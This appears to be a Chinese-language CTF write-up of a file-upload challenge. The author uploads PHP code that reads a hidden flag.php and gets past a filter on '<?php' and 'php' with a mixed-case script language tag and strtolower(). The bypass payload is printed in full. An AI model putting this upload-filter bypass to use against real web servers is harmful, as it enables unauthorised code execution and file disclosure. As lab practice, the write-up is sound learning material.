Upload

題目描述:
提示flag在flag.php中。應該是檔案包含型別。
進入題目：

• 首先嚐試進入flag.php檔案
• http://e72bd1791da64736ae8929a2cac71695278337f40de044bb.game.ichunqiu.com/flag.php 發現提示 here_is_flag
• 推測就在這個檔案裡但是被隱藏了，想辦法讀這個檔案的內容。
• 用之前學的讀檔案的方式寫一段php程式碼：

<?php
	$a = "../flag.php";
	$b = file_get_contents($a);
	echo $a;
	
?>

• 上傳之後檢視原始碼發現可以跟進去看到檔案內容

	$a = "../flag.";
	$b = file_get_contents($a);
	echo $a;
	
?>

• 這裡過濾掉了<?php和flag.php裡的php。
• 谷歌之後發現有幾種不同的方式來閉合php tags

There are four different pairs of opening and closing tags which can be used in PHP. Two of those, <?php ?> and , are always available.

• 嘗試用script閉合(標籤裡的php會被過濾用混寫繞過)，並用小寫函式繞過flag.php檢測。

<script language="pHp">
	$a = "../flag.".strtolower("PHP");
	$b = file_get_contents($a);
	echo $b;
</script>

檢視原始碼發現flag。